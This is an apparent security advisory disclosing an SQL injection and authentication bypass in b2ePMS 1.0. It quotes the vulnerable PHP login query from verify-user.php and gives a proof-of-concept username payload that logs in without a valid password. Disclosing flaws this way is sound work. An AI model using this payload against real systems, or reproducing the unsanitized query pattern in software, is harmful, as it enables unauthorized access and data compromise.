################################################# b2ePMS 1.0 Authentication Bypass Vulnerability ################################################# Discovered by: Jean Pascal Pereira Vendor Information: "b2ePMS stands for Browser to Email Phone Message System. It is intended to replace the standard paper/carbon phone message slips commonly used in offices, with the capability of sending the message via a web browser form directly to the recipients inbox." Vendor URI: https://developer.berlios.de/projects/b2epms/ ################################################# Issue: SQL Injection, Authentication Bypass Risk level: High => The remote attacker has the possibility to execute arbitrary SQL Code. => The remote attacker is able to bypass the user authentication. In verify-user.php, line 20: ------------------------------------- $sql = mysql_query("SELECT * FROM b2epms_user WHERE username='$username' AND user_passwd='$admin_passwd' AND activated='1' AND user_level='2'"); $login_check = mysql_num_rows($sql); if($login_check > 0){ while($row = mysql_fetch_array($sql)){ foreach( $row AS $key => $val ){ $$key = stripslashes( $val ); } // Register session variables! session_register('userid'); $_SESSION['userid'] = $user_level; mysql_query("UPDATE b2epms_user SET login_date=now() WHERE userid='$userid'"); $url = "Location: admin.php"; header($url); } } ------------------------------------- Exploit / Proof Of Concept: Perform a login with the following data: Username: admin' OR '1='1 Password: x ------------------------------------- #################################################